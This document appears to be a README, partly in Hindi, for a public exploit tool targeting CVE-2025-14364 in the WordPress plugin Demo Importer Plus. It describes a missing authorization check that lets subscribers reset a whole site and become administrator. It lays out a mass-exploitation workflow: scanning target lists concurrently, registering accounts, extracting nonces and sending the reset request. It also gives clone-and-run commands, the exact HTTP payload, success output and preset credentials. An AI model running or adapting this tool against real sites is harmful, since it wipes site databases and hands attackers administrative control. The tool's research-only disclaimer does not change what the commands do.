
Demo Importer Plus <= 2.0.8 - प्रमाणित (Subscriber+) उपयोगकर्ताओं के लिए प्राधिकरण की कमी: साइट रीसेट और विशेषाधिकार वृद्धि
Demo Importer Plus <= 2.0.8 - प्रमाणित (सब्सक्राइबर+) साइट रीसेट और विशेषाधिकार वृद्धि के लिए लापता प्राधिकरण
_ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ /| |_|_ _) |_ |_|_
\_ \/ |_ /_ \_/ /_ _) | | _) |_) |
प्रमाणित सब्सक्राइबर →
do-reinstallAJAX कार्रवाई के माध्यम से प्रशासक
मूल कारण:
Ajax::handle_request() बिना current_user_can() को कॉल किए demo_importer_plus AJAX क्रिया को पंजीकृत करता है। कोई भी प्रमाणित सब्सक्राइबर {"demo_action":"do-reinstall"} भेज सकता है ताकि wp_install() ट्रिगर हो, जो सभी डेटाबेस तालिकाओं को हटा देता है (users / usermeta को छोड़कर) और WordPress सेटअप को पुनः चलाता है — इस प्रक्रिया में हमलावर खाते को स्वचालित रूप से प्रशासक भूमिका प्रदान करता है।
Mode 1 — Diagnose
Probe: DNS · /wp-login.php · /wp-admin/admin-ajax.php · REST /wp/v2/users
→ Identify live WordPress targets
Mode 2 — Register
POST /wp-login.php?action=register
→ Create subscriber account
→ Activation email sent to inbox
↳ You MUST click the email link before running Mode 3
Mode 3 — Exploit
POST /wp-login.php → Authenticate as subscriber
GET /wp-admin/ → Extract wp-rest-nonce
POST /wp-admin/admin-ajax.php
action=demo_importer_plus
{"demo_action":"do-reinstall"} → Trigger full site reset
← Response: "Site has been reset successfully"
→ Attacking account now holds Administrator role
git clone https://github.com/Nxploited/CVE-2025-14364.git
cd CVE-2025-14364
pip install -r requirements.txt
python3 CVE-2025-14364.py
requirements.txt
aiohttp>=3.9.0
colorama>=0.4.6
urllib3>=1.26.0
Mode [1/2/3]: 1 = निदान 2 = पंजीकरण 3 = शोषण
Targets file: list.txt (प्रति पंक्ति एक होस्ट)
Concurrency: डिफ़ॉल्ट 30, अधिकतम 200
Timeout: डिफ़ॉल्ट 10s
लक्ष्य प्रारूप — list.txt:
https://target1.com
target2.com
http://target3.com
प्रति होस्ट चार एंडपॉइंट की जांच करता है और साफ परिणाम लिखता है।
Mode: 1
आउटपुट → diagnostics_results.txt · passed_targets.txt
Mode: 2
Email: [email protected]
Username: Nxploited
Password: NxploitedSA
अपना इनबॉक्स जांचें और मोड 3 चलाने से पहले सक्रियण लिंक पर क्लिक करें।
आउटपुट → register_results.txt
Mode: 3
Username: Nxploited
Password: NxploitedSA
सफलता पर टूल प्रिंट करता है:
[HH:MM:SS] SUCCESS "success":true,"message":"Site has been reset successfully" -> https://target.com
और exploit_results.txt में लिखता है:
https://target.com/wp-login.php site:... user:Nxploited pass:NxploitedSA type:admin
कमजोर अनुरोध:
POST /wp-admin/admin-ajax.php?action=demo_importer_plus HTTP/1.1
Content-Type: application/json
X-WP-Nonce: <extracted_nonce>
{"demo_action":"do-reinstall"}
सफल प्रतिक्रिया:
{"success": true, "data": {"message": "Site has been reset successfully"}}
नॉन्स निष्कर्षण — दो फॉलबैक स्रोत:
wpApiSettings.nonce (from /wp-admin/ page source)
elementorOneSettingsData.wpRestNonce (fallback)
By : Nxploited (Khaled Alenazi)
GitHub : https://github.com/Nxploited
Telegram : @KNxploited
THIS SOFTWARE IS RELEASED STRICTLY FOR SECURITY RESEARCH AND EDUCATION.
The author bears zero responsibility for any actions taken with this tool
against systems the operator does not own or have explicit written
authorization to test.
Unauthorized use against third-party systems violates computer crime laws
in most jurisdictions (CFAA, CMA, and equivalents worldwide) and may result
in criminal prosecution.
You alone are responsible for ensuring you have lawful permission
before running this tool against any target.
| CVE | CVE-2025-14364 |
| CVSS v3.1 | 8.8 HIGH — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Plugin | Demo Importer Plus |
| Affected | सभी संस्करण ≤ 2.0.8 |
| Auth needed | सब्सक्राइबर (न्यूनतम पंजीकृत भूमिका) |
| Type | लापता क्षमता जाँच → पूर्ण साइट रीसेट → विशेषाधिकार वृद्धि |
| CWE | CWE-862 · लापता प्राधिकरण |
| फ़ाइल | सामग्री |
|---|
diagnostics_results.txt | प्रति लक्ष्य पूर्ण प्रोब JSON |
passed_targets.txt | साफ लक्ष्य (कोई त्रुटि नहीं पाई गई) |
register_results.txt | पंजीकरण प्रयास रिकॉर्ड |
exploit_results.txt | लॉगिन · नॉन्स · रीसेट परिणाम · पुष्टिकृत एडमिन हिट |
reset_results.txt | प्रति लक्ष्य कच्चा do-reinstall प्रतिक्रिया |